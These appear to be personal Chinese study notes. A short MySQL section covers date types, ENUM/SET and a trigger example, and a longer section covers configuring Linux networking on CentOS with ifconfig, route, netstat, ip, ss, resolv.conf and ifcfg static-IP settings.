timestamp:需要经常插入或者更新当前日期为系统时间,格式YYYY-MM-DD HH:MM:SS

year:年

插入当前时间的函数:now()

枚举

ENUM:单选// 使用中文要记得指定charset=utf8

SET:多选

触发器

mysql> create table t_control(id int primary key);
Query OK, 0 rows affected (0.11 sec)

mysql> insert into t_control values (1);
Query OK, 1 row affected (0.05 sec)

mysql> create table t_bluerosehero(id int primary key,col int);
Query OK, 0 rows affected (0.11 sec)

mysql> delimiter //
mysql> create trigger tr_t_bluerosehero_bi before insert on t_bluerosehero
    -> for each row
    -> begin
    ->  if new.col>30 then
    ->          insert into t_control values (1);
    ->  end if;
    -> end;
    -> //
Query OK, 0 rows affected (0.08 sec)

将Linux主机接入网络需要配置:

  1. ip/netmask
  2. 默认网关
  3. dns服务器

静态指定

ifcfg:ifconfig\route\netstat

ip:ip\link\route\ss

修改/etc/sysyconfig/network-script/

centos7:nmcli

ifconfig(net-tools)

ifconfig -a:查看所有网络接口的配置信息

ifconfig 接口 [up|down]:启用或关闭网络接口
ifconfig ens33 down

ifconfig 接口 x.x.x.x/24 [up]
/ifconfig 接口 x.x.x.x. netmask x.x.x.x :配置ip地址

ifconfig ens33 192.168.226.111/24 up

混杂模式:抓取所有经过的报文,即使该报文不是发给该接口的

ifconfig 接口 promisc(开启)-promisc(关闭)

route

查看内核路由表信息

[root@localhost ~]# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         gateway         0.0.0.0         UG    100    0        0 ens33
192.168.226.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.226.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
目的地          网关            子网掩码        标志位  度量值             接口

度量值:
U:启用状态
G:默认网关
H:主机路由

0.0.0.0表示任何地方

添加路由

route add/del [-net] [-host] [netmask] [gw] [dev]

-net:表示后面接的路由为一个网域

-host:表示后面接的为连接到单部主机的路由

netmask:子网掩码

gw:网关

dev:指定由哪一块网卡连线出去

主机路由
route add -host 192.168.1.1 gw 192.168.88.8 dev ens33
网络路由
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.226.8 dev ens33
默认路由
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
删除
route del .........

dns服务器指定

/etc/resolv.conf

[root@localhost ~]# cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 192.168.226.2
nameserver 114.114.114.114

dns解析工具yum install -y bind-utils

nslookup

[root@localhost ~]# nslookup
> baidu.com
Server:        192.168.226.2
Address:    192.168.226.2#53

其他用法和其他工具

netstat

netstat命令:查看网络连接状态

网络连接 路由表信息 接口统计 伪装连接 组播成员关系

常用参数:

-t : 显示tcp协议相关
-u :显示udp协议相关 
-w :显示raw socket相关(混在模式收到的相关数据包)
-l :显示处于Listen状态连接
-a :显示所有状态的连接
-n :以数字显示IP地址和端口号
-p :显示相关进程及PID 
-e :扩展格式显示

netstat -tnap

显示路由表:
netstat -r:显示内核路由表
netstat -n 数字格式(不反向解析

显示接口的统计数据

显示所有接口:netstat -i

显示指定接口:netstat -I接口

ifup/ifdown开关接口

ip

ip link:网络设备配置

ip link set [interface]

[up|down]  激活或禁用指定端口
multicast [on| off]  开启或关闭接口组播功能
name <N_name>  重名命接口
mtu <M_value>  设置MTU值
netns [PID|Name]  将接口移至指定的命名空间中

ip link show 显示所有接口信息

ip link show 显示指定接口信息

ip link show up 仅显示处于up状态的接口

ip address: 协议地址管理

ip address show 查看所有设备IP地址信息

dev <interface> 查看指定设备的IP地址信息
label <interface:>  查看指定设备的标签
dev <interface> primary 查看指定设备主IP 

ip address [add | del] IPADRESS dev

ip address add x.x.x.x/x dev ens32 [broadcase x.x.x.x  | label ens32:1]   配置IP地址 
ip address add x.x.x.x/x dev ens32 scope [global|link|host]  指定作用域
    global 全局可用
    link 仅链接可用(同一广播域通信)
    host 本机可用(只能跟自己通信)

ip address flush dev 清空指定设备的所有IP地址

ip route:网络路由配置

ip route add

x.x.x.x/x via x.x.x.x dev <interface>  网络路由
x.x.x.x via x.x.x.x dev <interface> 主机路由 
default x.x.x.x/x via x.x.x.x dev <interface>  默认路由 
    src x.x.x.x  添加路由时可以指定源IP地址

ip route change|replace x.x.x.x/x via x.x.x.x

dev 修改路由信息

ip route delete x.x.x.x/x 删除指定路由

ip route show 查看路由信息

ip route get x.x.x.x/x 查看指定路由相信信息

ip route flush 清空所有路由

ip route flush x.x.x.x 清空指定路由

ss

ss命令: 显现socket连接状态

常用参数:

-t: tcp 
-u: udp 
-w:raw socket 
-x: unix socket 
-l: Listen
-a: all 
-n: number形式
-p: Pid 
-m: memory 
-o: timer
-e: 扩展格式 



网络配置文件

`[root@localhost ~]# cat /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp dhcp\none\static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=7b792800-d238-47ec-bfd8-ccb55d6cd1b1
DEVICE=ens33
ONBOOT=yes 开机自启

将其修改成静态

添加
IPADDR0=192.168.226.100
NETMASK0=255.255.255.0
GATEWAY0=192.168.226.2 自己的主机一般是1,虚拟机一般是2
DNS1=114.114.114.114

重启网络服务
systemctl restart network


# 修改当前主机的主机名:

  hostname [HOSTNAME] 临时修改 

hostnamectl set-hostname <Hostname> 永久修改

配置文件:/etc/sysconfig/network :HOSTNAME=New_Name

主机名解析:/etc/hosts